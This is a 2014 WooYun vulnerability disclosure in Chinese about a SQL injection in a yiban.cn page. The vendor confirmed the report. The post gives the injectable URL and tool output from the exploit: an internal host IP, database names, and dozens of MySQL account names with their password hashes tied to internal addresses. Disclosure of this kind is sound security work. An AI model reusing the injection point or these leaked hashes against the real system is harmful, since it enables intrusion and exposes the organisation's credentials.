当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-048927
漏洞标题：
易班网SQL注射root权限
相关厂商：
yiban.cn
漏洞作者：
M4sk
提交时间：
2014-01-15 17:17
修复时间：
2014-03-01 17:18
公开时间：
2014-03-01 17:18
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
20
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-01-15： 细节已通知厂商并且等待厂商处理中
2014-01-15： 厂商已经确认，细节仅向厂商公开
2014-01-25： 细节向核心白帽子及相关领域专家公开
2014-02-04： 细节向普通白帽子公开
2014-02-14： 细节向实习白帽子公开
2014-03-01： 细节向公众公开

简要描述：

RT 过年了 不知道各位厂商有礼物没？

详细说明：

Target: 		http://dream.yiban.cn/schoolvideo.php?id=36
Host IP:		112.65.235.52
Web Server: 	nginx
DB Server: 	MySQL
Resp. Time(avg):	640 ms
Current User: 	root@10.21.66.121
Sql Version: 	5.5.24-log
Current DB: 	bbscore
System User: 	root@10.21.66.121
Host Name: 	21-DB04
Installation dir: 	/usr
DB User & Pass: 	root:*38873A7027AF0DCD8B440956FFBB42936CC9B374:localhost
		root:*38873A7027AF0DCD8B440956FFBB42936CC9B374:21-DB04
		root:*38873A7027AF0DCD8B440956FFBB42936CC9B374:127.0.0.1
		root::
		backup:*7B9F3DF9565729FBD75899E351E49D92D3D371ED:localhost
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.11
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.12
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.13
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.14
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.15
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.16
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.17
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.18
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.19
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.20
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.121
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.122
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.123
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.131
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.132
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.133
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.135
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.136
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.137
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.138
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.139
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.19
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.13
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.186
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.0.165
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.22
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.25
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.26
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.27
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.28
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.29
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.24
		wanghui:*7F9E967F98FCA06AE70B93EF414FFD384FD2778B:10.21.66.22
		ldw:*CBB1E5679AF8397685328E31BB7FC8B6E1146EFC:10.21.66.22
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.120
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.121
		cacti_monitor:*2C7FADF15B5D5CDBE7469FB8894277460C94A323:10.21.82.100
		dbadmin:*A3A01D10B87047F07AB8A6E72A043E2DDAB30753:10.21.126.42
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.8.10
		rep_check:*CBF65591074FC3FD0666EA000D3CF8BD7F38EFA1:10.21.66.59
		monitor:*58D98B624819634F9AFB827D7C6B1E659D11A2C2:localhost
		php_app:*E13F9810C0759CE06A6F3C7752C13B736B8FFC2D:10.21.66.190
		root:*15D903D7AB729CE04C22733F4F70C4A18F6DC9E3:10.21.66.%
		monitor:*C4DD341DACAC42FBB0F95455AE0248E19E474133:10.21.66.89
Data Bases: 	information_schema
		DBA
		bbscore
		bbscore_act
		bbscore_plug
		bbscore_webim
		beauty_china
		mysql
		performance_schema
		test
		welfare
		xinhua


注射点http://dream.yiban.cn/schoolvideo.php?id=36

1.jpg

2.jpg

漏洞证明：

1.jpg

2.jpg

修复方案：

相信你会的

版权声明：转载请注明来源 M4sk@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-01-15 18:03

厂商回复：

感谢M4sk，你可以帮我们再看看嘛，我们会有些薄礼，略表心意。

最新状态：

暂无